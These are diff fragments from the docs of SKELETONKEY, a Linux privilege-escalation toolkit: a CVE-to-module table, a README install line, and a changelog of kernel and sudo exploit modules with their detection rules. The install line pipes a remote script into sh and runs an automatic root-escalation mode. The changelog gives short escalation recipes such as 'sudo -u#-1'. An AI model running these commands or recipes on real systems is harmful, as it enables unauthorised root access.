Refreshed via `tools/refresh-cve-metadata.py`.
|
||||
|
||||
**13 of 38 modules cover KEV-listed CVEs.**
|
||||
|
||||
## In KEV (prioritize patching)
|
||||
|
||||
| CVE | Date added to KEV | CWE | Module |
|
||||
| --- | --- | --- | --- |
|
||||
| CVE-2019-13272 | 2021-12-10 | ? | `ptrace_traceme_cve_2019_13272` |
|
||||
| CVE-2016-5195 | 2022-03-03 | CWE-362 | `dirty_cow_cve_2016_5195` |
|
||||
| CVE-2021-3156 | 2022-04-06 | CWE-193 | `sudo_samedit_cve_2021_3156` |
|
||||
| CVE-2022-0847 | 2022-04-25 | CWE-665 | `dirty_pipe_cve_2022_0847` |
|
||||
| CVE-2021-4034 | 2022-06-27 | CWE-787 | `pwnkit_cve_2021_4034` |
|
||||
| CVE-2021-3493 | 2022-10-20 | CWE-270 | `overlayfs_cve_2021_3493` |
|
||||
| CVE-2024-1086 | 2024-05-30 | CWE-416 | `nf_tables_cve_2024_1086` |
|
||||
| CVE-2022-0185 | 2024-08-21 | CWE-190 | `fuse_legacy_cve_2022_0185` |
|
||||
| CVE-2023-0386 | 2025-06-17 | CWE-282 | `overlayfs_setuid_cve_2023_0386` |
|
||||
| CVE-2025-32463 | 2025-09-29 | CWE-829 | `sudo_chwoot_cve_2025_32463` |
|
||||
| CVE-2021-22555 | 2025-10-06 | CWE-787 | `netfilter_xtcompat_cve_2021_22555` |
|
||||
| CVE-2018-14634 | 2026-01-26 | CWE-190 | `mutagen_astronomy_cve_2018_14634` |
|
||||
| CVE-2022-0492 | 2026-06-02 | CWE-287 | `cgroup_release_agent_cve_2022_0492` |
|
||||
|
||||
## Not in KEV
|
||||
|
||||
Not observed exploited per CISA — but several have public PoC code
|
||||
and are technically reachable. "Not in KEV" is not the same as
|
||||
"safe to ignore".
|
||||
|
||||
| CVE | CWE | Module |
|
||||
| --- | --- | --- |
|
||||
| CVE-2017-7308 | CWE-681 | `af_packet_cve_2017_7308` |
|
||||
| CVE-2019-14287 | CWE-755 | `sudo_runas_neg1_cve_2019_14287` |
|
||||
| CVE-2020-14386 | CWE-250 | `af_packet2_cve_2020_14386` |
|
||||
| CVE-2020-29661 | CWE-416 | `tioscpgrp_cve_2020_29661` |
|
||||
| CVE-2021-33909 | CWE-190 | `sequoia_cve_2021_33909` |
|
||||
| CVE-2022-25636 | CWE-269 | `nft_fwd_dup_cve_2022_25636` |
|
||||
| CVE-2022-2588 | CWE-416 | `cls_route4_cve_2022_2588` |
|
||||
| CVE-2023-0179 | CWE-190 | `nft_payload_cve_2023_0179` |
|
||||
| CVE-2023-0458 | CWE-476 | `entrybleed_cve_2023_0458` |
|
||||
| CVE-2023-2008 | CWE-129 | `vmwgfx_cve_2023_2008` |
|
||||
| CVE-2023-22809 | CWE-269 | `sudoedit_editor_cve_2023_22809` |
|
||||
| CVE-2023-32233 | CWE-416 | `nft_set_uaf_cve_2023_32233` |
|
||||
| CVE-2023-3269 | CWE-416 | `stackrot_cve_2023_3269` |
|
||||
| CVE-2023-4622 | CWE-416 | `af_unix_gc_cve_2023_4622` |
|
||||
| CVE-2024-26581 | ? | `nft_pipapo_cve_2024_26581` |
|
||||
| CVE-2024-50264 | CWE-416 | `vsock_uaf_cve_2024_50264` |
|
||||
| CVE-2025-32462 | CWE-863 | `sudo_host_cve_2025_32462` |
|
||||
| CVE-2025-6019 | CWE-250 | `udisks_libblockdev_cve_2025_6019` |
|
||||
| CVE-2026-23111 | CWE-416 | `nft_catchall_cve_2026_23111` |
|
||||
| CVE-2026-31635 | CWE-130 | `dirtydecrypt_cve_2026_31635` |
|
||||
| CVE-2026-41651 | CWE-367 | `pack2theroot_cve_2026_41651` |
|
||||
| CVE-2026-43494 | ? | `pintheft_cve_2026_43494` |
|
||||
| CVE-2026-46243 | CWE-20 | `cifswitch_cve_2026_46243` |
|
||||
| CVE-2026-46300 | CWE-787 | `fragnesia_cve_2026_46300` |
|
||||
| CVE-2026-46333 | CWE-269 | `ptrace_pidfd_cve_2026_46333` |
|
||||
@@ -26,6 +26,7 @@ haven't been maintained in years.
|
||||
|
||||
```bash
|
||||
curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh \
|
||||
&& export PATH="$HOME/.local/bin:$PATH" \
|
||||
&& skeletonkey --auto --i-know
|
||||
```
|
||||
|
||||
|
||||
@@ -0,0 +1,734 @@
|
||||
## SKELETONKEY v0.9.11 — new LPE module: nft_catchall (CVE-2026-23111)
|
||||
|
||||
Adds **`nft_catchall` — CVE-2026-23111**, taking the corpus to **43
|
||||
modules / 38 CVEs**. The newest nftables LPE: a **use-after-free** in the
|
||||
nf_tables transaction-abort path. `nft_map_catchall_activate()` carries an
|
||||
inverted condition (a stray `!`) so the abort path processes *active*
|
||||
catch-all map elements instead of skipping them — a catch-all GOTO element
|
||||
drives a chain's use-count to zero, and a following `DELCHAIN` frees the
|
||||
chain while the catch-all verdict still references it → UAF. From an
|
||||
unprivileged user (user namespaces + nftables) it escalates to root via a
|
||||
`modprobe_path` / `selinux_state` ROP. Fixed upstream by commit `f41c5d1`;
|
||||
CWE-416, CVSS 7.8; not in CISA KEV. Public reproduction + analysis by
|
||||
**FuzzingLabs**.
|
||||
|
||||
🟡 **Trigger (reconstructed) — primitive-only, not VM-verified.** This is
|
||||
one more UAF in the corpus's most-covered subsystem (`nf_tables`,
|
||||
`nft_set_uaf`, `nft_payload`, `nft_pipapo`, …) and ships on the same
|
||||
contract as `nf_tables` (CVE-2024-1086): a fork-isolated trigger that
|
||||
fires the bug class and stops. `detect()` version-gates against the
|
||||
Debian backports (upstream thresholds 6.1.164 / 6.12.73 / 6.18.10;
|
||||
catch-all set elements arrived ~5.13) **and** requires unprivileged
|
||||
user-namespace clone — a vulnerable kernel with userns locked down is
|
||||
`PRECOND_FAIL`. `exploit()` builds a verdict map with a catch-all GOTO
|
||||
element and provokes an aborting batch transaction to drive the abort-path
|
||||
UAF, observes slabinfo, and returns `EXPLOIT_FAIL`. The per-kernel leak +
|
||||
arbitrary-R/W + `modprobe_path` ROP is **not** bundled (per-build offsets
|
||||
refused), and the trigger is reconstructed from the public analysis rather
|
||||
than VM-verified — it never claims root it did not get. Ships auditd +
|
||||
sigma + falco rules, ATT&CK T1068 + CWE-416 metadata, six new `detect()`
|
||||
unit-test rows (version + userns gating), credits FuzzingLabs + the
|
||||
upstream fix in `NOTICE.md`, and a verify-vm target (sweep pending). Not
|
||||
VM-verified, so the verified count stays 28 of 38.
|
||||
|
||||
## SKELETONKEY v0.9.10 — new LPE module: cifswitch (CVE-2026-46243)
|
||||
|
||||
Adds **`cifswitch` — CVE-2026-46243 "CIFSwitch"** (Asim Manizada,
|
||||
2026-05-28), taking the corpus to **42 modules / 37 CVEs**. The newest
|
||||
kernel-7-era LPE not already covered: a ~19-year-old logic flaw in
|
||||
`fs/smb/client/cifs_spnego.c` where the `cifs.spnego` request-key type
|
||||
accepts key descriptions created by *userspace* (`add_key(2)` /
|
||||
`request_key(2)`) without verifying the request came from the in-kernel
|
||||
CIFS client. The description carries authority-bearing fields
|
||||
(`pid`/`uid`/`creduid`/`upcall_target`) that the root `cifs.upcall`
|
||||
helper trusts as kernel-originating; combined with user+mount namespace
|
||||
tricks, an unprivileged user coerces `cifs.upcall` into loading an
|
||||
attacker NSS module as root. Fixed upstream by `3da1fdf4efbc` (merged
|
||||
7.1-rc5); NVD class CWE-20; not in CISA KEV.
|
||||
|
||||
🟡 **Honest port — full chain not VM-verified.** `detect()` gates on the
|
||||
kernel version (Debian backports 5.10.257 / 6.1.174 / 6.12.90 / 7.0.10)
|
||||
**and** on the presence of the vulnerable userspace path — a vulnerable
|
||||
kernel without `cifs-utils` reports `PRECOND_FAIL`, not a false
|
||||
`VULNERABLE` (override the probe with `SKELETONKEY_CIFS_ASSUME_PRESENT=1`
|
||||
/`0`). `exploit()` fires only the non-destructive primitive — `add_key(2)`
|
||||
of a forged-but-benign `cifs.spnego` key, which does **not** invoke
|
||||
`cifs.upcall` and loads nothing, revoked immediately — and treats a clean
|
||||
accept as the empirical witness that userspace can forge the
|
||||
authority-bearing key type. It then stops: the namespace-switch +
|
||||
malicious-NSS-load root-pop is target/config-specific and is not bundled
|
||||
until VM-verified, so it returns honest `EXPLOIT_FAIL` without a euid-0
|
||||
witness (never fabricates root). `--mitigate` blocklists the `cifs`
|
||||
module (`/etc/modprobe.d/skeletonkey-disable-cifs.conf`); `--cleanup`
|
||||
reverts. Structural, arch-agnostic (keyring + namespace logic, no
|
||||
shellcode). Ships auditd + sigma + falco rules, MITRE ATT&CK T1068 +
|
||||
CWE-20 metadata, six new `detect()` unit-test rows, and credits Asim
|
||||
Manizada in `NOTICE.md`. **Partially VM-verified** (2026-06-08, Ubuntu
|
||||
24.04.4 / kernel 6.8.0-117, QEMU/HVF): `detect()`'s precondition + version
|
||||
gating and the `add_key` primitive are confirmed — an independent
|
||||
`python3` `ctypes` `add_key("cifs.spnego", …)` was accepted and the
|
||||
module's `exploit()` reported "primitive CONFIRMED" then honest
|
||||
`EXPLOIT_FAIL`. The full namespace+NSS root-pop and a patched-kernel
|
||||
discriminator check remain pending, so cifswitch is **not** counted as a
|
||||
verified end-to-end CVE — the verified count stays 28 of 37. Details in
|
||||
the module `NOTICE.md` and `tools/verify-vm/targets.yaml`.
|
||||
|
||||
## SKELETONKEY v0.9.9 — install.sh needs no root; CVE-2022-0492 KEV drift
|
||||
|
||||
Two maintenance fixes, no new modules.
|
||||
|
||||
**`install.sh` never escalates to sudo.** SKELETONKEY is a privilege-
|
||||
escalation tool — the operator by definition does *not* have root yet, so
|
||||
the installer must not demand it. The old default wrote to `/usr/local/bin`
|
||||
and fell back to `sudo mv` when that wasn't writable, prompting for a
|
||||
password on exactly the unprivileged accounts this tool targets. It now
|
||||
installs sudo-free: `/usr/local/bin` is used only when already writable,
|
||||
otherwise it falls back to a per-user `$HOME/.local/bin` (honoring
|
||||
`XDG_BIN_HOME`), created as needed. An explicit `SKELETONKEY_PREFIX` is
|
||||
honored exactly and errors rather than escalating if unwritable. When the
|
||||
chosen dir isn't on `$PATH` the installer prints the absolute path, and the
|
||||
documented `curl … | sh && skeletonkey --auto --i-know` one-liner now
|
||||
prepends `$HOME/.local/bin` to `$PATH` so it resolves on a fresh login. The
|
||||
quickstart no longer prefixes `sudo` to `--scan`/`--audit`/`--auto` —
|
||||
detection and escalation run as the unprivileged user; only writing audit
|
||||
rules into `/etc/audit` legitimately needs root.
|
||||
|
||||
**Federal metadata drift (the failing scheduled build).** The weekly
|
||||
`drift-check` caught two upstream changes since v0.9.8:
|
||||
|
||||
- **CVE-2022-0492 entered CISA KEV (2026-06-02).** The cgroup v1
|
||||
`release_agent` container-escape (`cgroup_release_agent`) is now on the
|
||||
Known Exploited Vulnerabilities catalog. The corpus reports **13 of 36**
|
||||
modules covering KEV-listed CVEs (was 12).
|
||||
- **CVE-2026-46333 gained a CWE.** When `ptrace_pidfd` was added two weeks
|
||||
after disclosure, NVD had not yet classified it; it is now **CWE-269**
|
||||
(Improper Privilege Management).
|
||||
|
||||
A third, latent cause kept the gate red even after those two: when
|
||||
`sudo_host` (CVE-2025-32462) was added in v0.9.8 its record was appended to
|
||||
the *end* of `CVE_METADATA.json`, but the drift check compares the record
|
||||
list in `discover_cves()`'s sorted order — so the out-of-order entry read
|
||||
as drift regardless of its values. Regenerating via the script restores
|
||||
sorted order.
|
||||
|
||||
Refreshed `CVE_METADATA.json`, the generated `cve_metadata.c` table, and
|
||||
`KEV_CROSSREF.md` accordingly (README + website counts updated).
|
||||
|
||||
## SKELETONKEY v0.9.8 — two new LPE modules (ptrace_pidfd, sudo_host)
|
||||
|
||||
Adds the two most compelling recent Linux LPEs not already in the corpus,
|
||||
taking it to **41 modules / 36 CVEs** (every year 2016 → 2026 still
|
||||
covered).
|
||||
|
||||
**`ptrace_pidfd` — CVE-2026-46333** (Qualys TRU, 2026-05-20). A logic
|
||||
flaw in the kernel's `__ptrace_may_access()` path leaves a process that
|
||||
is *dropping* its credentials briefly reachable past its `dumpable`
|
||||
boundary; `pidfd_getfd(2)` rides that window to steal a root-opened file
|
||||
descriptor or authenticated channel from a transiently-privileged setuid
|
||||
binary (chage / pkexec / ssh-keysign) or root daemon. Default-distro, no
|
||||
userns, architecture-agnostic (descriptor theft, no shellcode). detect()
|
||||
is version-pinned (predates-gate at pidfd_getfd's 5.6 introduction;
|
||||
Debian backports 5.10.251 / 6.1.172 / 6.12.88 / 7.0.7). `--mitigate`
|
||||
sets `kernel.yama.ptrace_scope=2`.
|
||||
|
||||
**`sudo_host` — CVE-2025-32462** (Rich Mirch / Stratascale, 2025-06-30;
|
||||
sibling of v0.8.0's `sudo_chwoot`). sudo's `-h`/`--host` option, meant
|
||||
only to pair with `-l`, was honored when running a command — so a
|
||||
sudoers rule scoped to a host other than the current machine (and not
|
||||
ALL) is usable via `sudo -h <host> <cmd>` for local root. Affects sudo
|
||||
1.8.8 → 1.9.17p0 (fixed 1.9.17p1); CWE-863, CVSS 8.8. Most relevant to
|
||||
fleet-wide / LDAP / SSSD sudoers.
|
||||
|
||||
Both are honest ports: detect() is version-pinned and unit-tested (10 new
|
||||
detect() rows, all green in CI), and exploit() fires the real primitive
|
||||
and returns `EXPLOIT_FAIL` unless it can witness euid 0 — never
|
||||
fabricating root. Neither is VM-verified yet (both flagged "sweep
|
||||
pending" in `tools/verify-vm/targets.yaml`), so the verified count stays
|
||||
28 of 36. Each ships auditd + sigma + falco rules, MITRE ATT&CK + CWE
|
||||
metadata, and credits the original researcher in its `NOTICE.md`.
|
||||
|
||||
## SKELETONKEY v0.9.7 — kernel_range drift fix + CI Node 24 readiness
|
||||
|
||||
Two maintenance fixes, no new modules.
|
||||
|
||||
**`fragnesia` kernel_range drift.** Debian backported CVE-2026-46300 to
|
||||
the 5.10 oldstable branch (bullseye 5.10.257), a branch the module's
|
||||
`kernel_patched_from` table didn't model — on a patched bullseye host
|
||||
`detect()` would have false-positived VULNERABLE. Added the `{5,10,257}`
|
||||
entry; the weekly `refresh-kernel-ranges.py` drift gate is green again.
|
||||
(The other flagged modules are INFO-only "more permissive" thresholds
|
||||
the check tolerates by design.)
|
||||
|
||||
**CI Node 24 readiness.** GitHub forces the Node 24 Actions runtime on
|
||||
2026-06-16 and removes Node 20. Bumped every workflow action off its
|
||||
Node-20 line:
|
||||
|
||||
- `actions/checkout` v4 → v6
|
||||
- `actions/upload-artifact` v4 → v7
|
||||
- `actions/download-artifact` v4 → v8
|
||||
- `softprops/action-gh-release` v2 → v3
|
||||
|
||||
Each was reviewed against its changelog: the artifact flow uploads
|
||||
default-zipped, uniquely-named artifacts and downloads the full set, so
|
||||
none of the major-version breaking changes (opt-in direct uploads,
|
||||
download-by-ID path changes) apply. This release is itself the
|
||||
end-to-end test of the new artifact actions.
|
||||
|
||||
## SKELETONKEY v0.9.6 — `--auto` no longer prompts for sudo password
|
||||
|
||||
Two sudo modules' `detect()` bodies invoked `sudo -ln` to read the
|
||||
user's allowed-commands list. The intent was non-interactive — `-ln`
|
||||
should parse as `-l -n` (list + non-interactive). But some sudoers /
|
||||
PAM configurations have been observed prompting for a password
|
||||
anyway when the flags are bundled, defeating the point.
|
||||
|
||||
That meant `skeletonkey --auto --i-know` could hang on a sudo
|
||||
password prompt during the corpus scan, even though the whole point
|
||||
of an LPE tool is to *get* root without already having it.
|
||||
|
||||
Fix in `sudo_runas_neg1` and `sudoedit_editor`:
|
||||
|
||||
- `-n -l` written as separate flags (instead of bundled `-ln`)
|
||||
- `</dev/null` redirect so sudo cannot fall back to reading the tty
|
||||
even if the PAM stack tries
|
||||
|
||||
Belt-and-suspenders. `--auto` is now guaranteed never to block on
|
||||
tty input.
|
||||
|
||||
---
|
||||
|
||||
## SKELETONKEY v0.9.5 — kernel_range drift cleanup (the other half)
|
||||
|
||||
v0.9.4 fixed the `cve_metadata` drift but exposed a *second* drift
|
||||
check (`kernel_range drift`) that had been hidden behind it. That
|
||||
check compares each module's `kernel_patched_from` table against
|
||||
Debian's security tracker. It had **11 TOO_TIGHT + 8 MISSING
|
||||
findings across 12 modules** — meaning `detect()` would have
|
||||
reported VULNERABLE on many kernels that Debian has on record as
|
||||
patched (false-positives), or missed branches entirely.
|
||||
|
||||
Applied `tools/refresh-kernel-ranges.py --patch` recommendations
|
||||
across:
|
||||
|
||||
- `cgroup_release_agent` — `{5,16,9}` → `{5,16,7}`
|
||||
- `cls_route4` — `{5,10,143}` → `{5,10,136}`, `{5,18,18}` → `{5,18,16}`
|
||||
- `dirty_cow` — `{4,7,10}` → `{4,7,8}`
|
||||
- `dirty_pipe` — `{5,10,102}` → `{5,10,92}`
|
||||
- `fragnesia` — `{6,12,91}` → `{6,12,90}`, `{7,0,10}` → `{7,0,9}`
|
||||
(the 7.0.10 entry I added in v0.9.4 was an NVD-vs-Debian off-by-one)
|
||||
- `mutagen_astronomy` — added `{4,12,6}` backport entry
|
||||
- `netfilter_xtcompat` — `{5,10,46}` → `{5,10,38}`
|
||||
- `overlayfs_setuid` — `{6,1,27}` → `{6,1,11}`
|
||||
- `pintheft` — added `{6,12,90}` Debian-trixie entry
|
||||
- `ptrace_traceme` — `{4,19,58}` → `{4,19,37}`
|
||||
- `sequoia` — `{5,10,52}` → `{5,10,46}`
|
||||
- `tioscpgrp` — added `{5,9,15}` backport entry
|
||||
|
||||
All changes are correctness-improving (no kernel that was previously
|
||||
flagged VULNERABLE-and-actually-vulnerable is now flagged OK; we just
|
||||
stop false-positiving on kernels that Debian has on record as patched).
|
||||
|
||||
Build's `kernel_range drift` step now exits 0 with 0 TOO_TIGHT and 0
|
||||
MISSING.
|
||||
|
||||
Also enabled `workflow_dispatch` on the build workflow so the
|
||||
drift-check job can be manually triggered without waiting for the
|
||||
weekly Monday-06:00-UTC cron.
|
||||
|
||||
---
|
||||
|
||||
## SKELETONKEY v0.9.4 — drift unblock, fragnesia range fix, infra docs
|
||||
|
||||
Quality-of-life follow-ups from the v0.9.3 review:
|
||||
|
||||
**Nightly CI drift-check unblocked.** v0.9.3's hand-applied
|
||||
`core/cve_metadata.c` entries weren't reflected in
|
||||
`docs/CVE_METADATA.json`, so the scheduled `build` workflow had
|
||||
been red since 2026-05-25 even though push-triggered runs passed.
|
||||
Regenerated both via the canonical script. Pintheft's CWE landed
|
||||
as CWE-787 (NVD-derived) — previously NULL.
|
||||
|
||||
**fragnesia module range table corrected.** Same audit pattern that
|
||||
found the dirtydecrypt bug in v0.9.3. NVD CVE-2026-46300 confirms
|
||||
the SKBFL_SHARED_FRAG marker was introduced at 5.11 and the bug
|
||||
spans every stable branch since. Previous range table had one entry
|
||||
(`{7, 0, 9}`) — off-by-one against NVD's 7.0.10 fix point and
|
||||
missing every other backport. Now models 6 backports + predates-5.11
|
||||
introduction gate:
|
||||
|
||||
```c
|
||||
{5, 15, 208}, /* 5.15-LTS */
|
||||
{6, 1, 174}, /* 6.1-LTS */
|
||||
{6, 6, 141}, /* 6.6-LTS */
|
||||
{6, 12, 91}, /* 6.12-LTS */
|
||||
{6, 18, 33}, /* 6.18-LTS */
|
||||
{7, 0, 10}, /* 7.0 */
|
||||
```
|
||||
|
||||
Test row added for the predates path (kernel 4.4 → OK).
|
||||
|
||||
**`tools/verify-vm/README.md` brought current.** The README was
|
||||
written for the v0.6-era apt-pin-only workflow. Now documents the
|
||||
v0.9.x infrastructure: mainline kernel pinning via
|
||||
kernel.ubuntu.com, per-module provisioners
|
||||
(`provisioners/<module>.sh`), two-phase prep→reboot→verify with
|
||||
post-reboot kernel confirmation, GRUB_DEFAULT pinning in both apt
|
||||
and mainline blocks.
|
||||
|
||||
**NVD lookups in `refresh-cve-metadata.py` get a curl fallback.**
|
||||
v0.9.3 ran into Python's `urlopen` silently hanging on NVD's HTTP/2
|
||||
endpoint (55-min process with the 30s timeout never firing — kernel
|
||||
CLOSE_WAIT socket). The CISA path already had a curl fallback; the
|
||||
NVD path now mirrors it. Future runs degrade gracefully when
|
||||
urlopen wedges.
|
||||
|
||||
---
|
||||
|
||||
## SKELETONKEY v0.9.3 — CVE metadata refresh + dirtydecrypt range fix
|
||||
|
||||
**CVE metadata refresh (10 → 12 KEV).** Populated the 8 missing
|
||||
entries in `core/cve_metadata.c` for v0.8.0 + v0.9.0 module additions.
|
||||
Two of them are CISA-KEV-listed:
|
||||
|
||||
- **CVE-2018-14634** `mutagen_astronomy` — KEV-listed 2026-01-26 (CWE-190)
|
||||
- **CVE-2025-32463** `sudo_chwoot` — KEV-listed 2025-09-29 (CWE-829)
|
||||
|
||||
Other 6 entries got CWE / ATT&CK technique metadata so `--explain` and
|
||||
`--module-info` now surface WEAKNESS + THREAT INTEL correctly for them.
|
||||
(`tools/refresh-cve-metadata.py` hangs on CISA's HTTP/2 endpoint via
|
||||
Python urlopen — populated directly via curl + max-time as a workaround.)
|
||||
|
||||
**dirtydecrypt module bug fix.** Auditing dirtydecrypt's range table
|
||||
against NVD's authoritative CPE match for CVE-2026-31635 surfaced that
|
||||
`dd_detect()` was wrongly gating "predates the bug" on kernel < 7.0.
|
||||
Per NVD, the rxgk RESPONSE bug entered at 6.16.1 stable; vulnerable
|
||||
ranges are 6.16.1–6.18.22, 6.19.0–6.19.12, and 7.0-rc1..rc7. The fix:
|
||||
|
||||
- `dd_detect()` predates-gate now uses 6.16.1 (not 7.0)
|
||||
- `patched_branches[]` table adds `{6, 18, 23}` for the 6.18 backport
|
||||
|
||||
Re-verified empirically: dirtydecrypt now correctly returns VULNERABLE
|
||||
on mainline 6.19.7 (genuinely below the 6.19.13 backport). Previously
|
||||
it returned OK there — a false negative that would have lied to anyone
|
||||
running scan on a real vulnerable kernel.
|
||||
|
||||
---
|
||||
|
||||
## SKELETONKEY v0.9.2 — dirtydecrypt verified on mainline 6.19.7
|
||||
|
||||
One more empirical verification: **CVE-2026-31635 dirtydecrypt** confirmed
|
||||
end-to-end on Ubuntu 22.04 + mainline 6.19.7. detect() correctly returns
|
||||
OK ("kernel predates the rxgk RESPONSE-handling code added in 7.0"). Footer
|
||||
goes 27 → 28.
|
||||
|
||||
Attempted but deferred: **CVE-2026-46300 fragnesia**. Mainline 7.0.5 kernel
|
||||
.debs depend on `libssl3t64` / `libelf1t64` (the t64-transition libs
|
||||
introduced in Ubuntu 24.04 / Debian 13). No Vagrant box with a Parallels
|
||||
provider has those libs yet — `dpkg --force-depends` leaves the kernel
|
||||
package in `iHR` (broken) state with no `/boot/vmlinuz` deposited. Marked
|
||||
`manual: true` with rationale in `targets.yaml`. Resolvable when a
|
||||
Parallels-supported ubuntu2404 / debian13 box becomes available.
|
||||
|
||||
---
|
||||
|
||||
## SKELETONKEY v0.9.1 — VM verification sweep (22 → 27)
|
||||
|
||||
Five more CVEs empirically confirmed end-to-end against real Linux VMs
|
||||
via `tools/verify-vm/`:
|
||||
|
||||
| CVE | Module | Target environment |
|
||||
|---|---|---|
|
||||
| CVE-2019-14287 | `sudo_runas_neg1` | Ubuntu 18.04 (sudo 1.8.21p2 + `(ALL,!root)` grant via provisioner) |
|
||||
| CVE-2020-29661 | `tioscpgrp` | Ubuntu 20.04 pinned to `5.4.0-26` (genuinely below the 5.4.85 backport) |
|
||||
| CVE-2024-26581 | `nft_pipapo` | Ubuntu 22.04 + mainline `5.15.5` (below the 5.15.149 fix) |
|
||||
| CVE-2025-32463 | `sudo_chwoot` | Ubuntu 22.04 + sudo `1.9.16p1` built from upstream into `/usr/local/bin` |
|
||||
| CVE-2025-6019 | `udisks_libblockdev` | Debian 12 + `udisks2` 2.9.4 + polkit allow rule for the verifier user |
|
||||
|
||||
Footer goes from `22 empirically verified` → `27 empirically verified`.
|
||||
|
||||
### Verifier infrastructure (the why)
|
||||
|
||||
These verifications required real plumbing work that didn't exist before:
|
||||
|
||||
- **Per-module provisioner hook** (`tools/verify-vm/provisioners/<module>.sh`)
|
||||
— per-target setup that doesn't belong in the Vagrantfile (build sudo
|
||||
from source, install udisks2 + polkit rule, drop a sudoers grant) now
|
||||
lives in checked-in scripts that re-run idempotently on every verify.
|
||||
- **Two-phase provisioning** in `verify.sh` — prep provisioners run
|
||||
first (install kernel, set grub default, drop polkit rule), then a
|
||||
conditional reboot if `uname -r` doesn't match the target, then the
|
||||
verifier proper. Fixes the silent-fail where the new kernel was
|
||||
installed but the VM never actually rebooted into it.
|
||||
- **GRUB_DEFAULT pin in both `pin-kernel` and `pin-mainline` blocks** —
|
||||
without this, grub's debian-version-compare picks the highest-sorting
|
||||
vmlinuz as default; for downgrades (stock 4.15 → mainline 4.14.70, or
|
||||
stock 5.4.0-169 → pinned 5.4.0-26) the wrong kernel won boot.
|
||||
- **Old-mainline URL fallback** — kernel.ubuntu.com puts ≤ 4.15 mainline
|
||||
debs at `/v${KVER}/` not `/v${KVER}/amd64/`. Fallback handles both.
|
||||
|
||||
### Honest residuals — 7 of 34 still unverified
|
||||
|
||||
| Module | Why not verified |
|
||||
|---|---|
|
||||
| `vmwgfx` | needs a VMware guest; we're on Parallels |
|
||||
| `dirty_cow` | needs ≤ 4.4 kernel — older than any supported Vagrant box |
|
||||
| `mutagen_astronomy` | mainline 4.14.70 kernel-panics on Ubuntu 18.04 rootfs (`Failed to execute /init (error -8)` — kernel config mismatch). Genuinely needs CentOS 6 / Debian 7. |
|
||||
| `pintheft` | needs RDS kernel module loaded (Arch only autoloads it) |
|
||||
| `vsock_uaf` | needs `vsock_loopback` loaded — not autoloaded on common Vagrant boxes |
|
||||
| `dirtydecrypt`, `fragnesia` | need Linux 7.0 — not yet shipping as any distro kernel |
|
||||
|
||||
All seven are flagged in `tools/verify-vm/targets.yaml` with `manual: true`
|
||||
and a rationale.
|
||||
|
||||
---
|
||||
|
||||
## SKELETONKEY v0.9.0 — every year 2016 → 2026 now covered
|
||||
|
||||
Five gap-filling modules. Closes the 2018 hole entirely and thickens
|
||||
2019 / 2020 / 2024.
|
||||
|
||||
### CVE-2018-14634 — `mutagen_astronomy` (Qualys)
|
||||
|
||||
Closes the 2018 gap. `create_elf_tables()` int-wrap → on x86_64, a
|
||||
multi-GiB argv blob makes the kernel under-allocate the SUID
|
||||
carrier's stack and corrupt adjacent allocations. CISA-KEV-listed
|
||||
Jan 2026 despite the bug's age — legacy RHEL 7 / CentOS 7 / Debian
|
||||
8 fleets still affected. 🟡 PRIMITIVE (trigger documented;
|
||||
Qualys' full chain not bundled per verified-vs-claimed).
|
||||
`arch_support: x86_64+unverified-arm64`.
|
||||
|
||||
### CVE-2019-14287 — `sudo_runas_neg1` (Joe Vennix)
|
||||
|
||||
`sudo -u#-1 <cmd>` → uid_t underflows to 0xFFFFFFFF → sudo treats it
|
||||
as uid 0 → runs `<cmd>` as root even when sudoers explicitly says
|
||||
"ALL except root". Pure userspace logic bug; the famous Apple
|
||||
Information Security finding. detect() looks for a `(ALL,!root)`
|
||||
grant in `sudo -ln` output. `arch_support: any`. Sudo < 1.8.28.
|
||||
|
||||
### CVE-2020-29661 — `tioscpgrp` (Jann Horn / Project Zero)
|
||||
|
||||
TTY `TIOCSPGRP` ioctl race on PTY pairs → `struct pid` UAF in
|
||||
kmalloc-256. Affects everything through Linux 5.9.13. 🟡 PRIMITIVE
|
||||
(race-driver + msg_msg groom). Public PoCs from grsecurity/spender
|
||||
+ Maxime Peterlin. `arch_support: x86_64+unverified-arm64`.
|
||||
|
||||
### CVE-2024-50264 — `vsock_uaf` (a13xp0p0v / Pwnie 2025 winner)
|
||||
|
||||
AF_VSOCK `connect()` races a POSIX signal that tears down the
|
||||
virtio_vsock_sock → UAF in kmalloc-96. **Pwn2Own 2024 + Pwnie Award
|
||||
2025 winner.** Reachable as plain unprivileged user (no userns
|
||||
required — unusual). Two public exploit paths: @v4bel + @qwerty
|
||||
kernelCTF chain (BPF JIT spray + SLUBStick) and Alexander Popov's
|
||||
msg_msg path (PT SWARM Sep 2025). 🟡 PRIMITIVE.
|
||||
`arch_support: x86_64+unverified-arm64`.
|
||||
|
||||
### CVE-2024-26581 — `nft_pipapo` (Notselwyn II, "Flipping Pages")
|
||||
|
||||
`nft_set_pipapo` destroy-race UAF. Sibling to our `nf_tables` module
|
||||
(CVE-2024-1086) — same Notselwyn "Flipping Pages" research paper,
|
||||
different specific bug in the pipapo set substrate. Same family
|
||||
detect signature. 🟡 PRIMITIVE.
|
||||
`arch_support: x86_64+unverified-arm64`.
|
||||
|
||||
### Year-by-year coverage matrix
|
||||
|
||||
```
|
||||
2016: ▓ 1 2021: ▓▓▓▓▓ 5 2025: ▓▓ 2
|
||||
2017: ▓ 1 2022: ▓▓▓▓▓ 5 2026: ▓▓▓▓ 4
|
||||
2018: ▓ 1 ← 2023: ▓▓▓▓▓▓▓▓ 8
|
||||
2019: ▓▓ 2 ← 2024: ▓▓▓ 3 ←
|
||||
2020: ▓▓ 2 ←
|
||||
```
|
||||
|
||||
Every year 2016 → 2026 is now ≥1.
|
||||
|
||||
### Corpus growth
|
||||
|
||||
| | v0.8.0 | v0.9.0 |
|
||||
|---|---|---|
|
||||
| Modules registered | 34 | 39 |
|
||||
| Distinct CVEs | 29 | 34 |
|
||||
| Years with ≥1 CVE | 10 of 11 (missing 2018) | **11 of 11** |
|
||||
| Detection rules embedded | 131 | 151 |
|
||||
| Arch-independent (`any`) | 6 | 7 |
|
||||
| VM-verified | 22 | 22 |
|
||||
|
||||
### Other changes
|
||||
|
||||
- All 5 new modules ship complete detection-rule corpus
|
||||
(auditd + sigma + yara + falco) — corpus stays at 4-format
|
||||
parity with the rest of the modules.
|
||||
- `tools/refresh-cve-metadata.py` runs against 34 CVEs (was 29);
|
||||
takes ~4 minutes due to NVD anonymous rate limit.
|
||||
|
||||
---
|
||||
|
||||
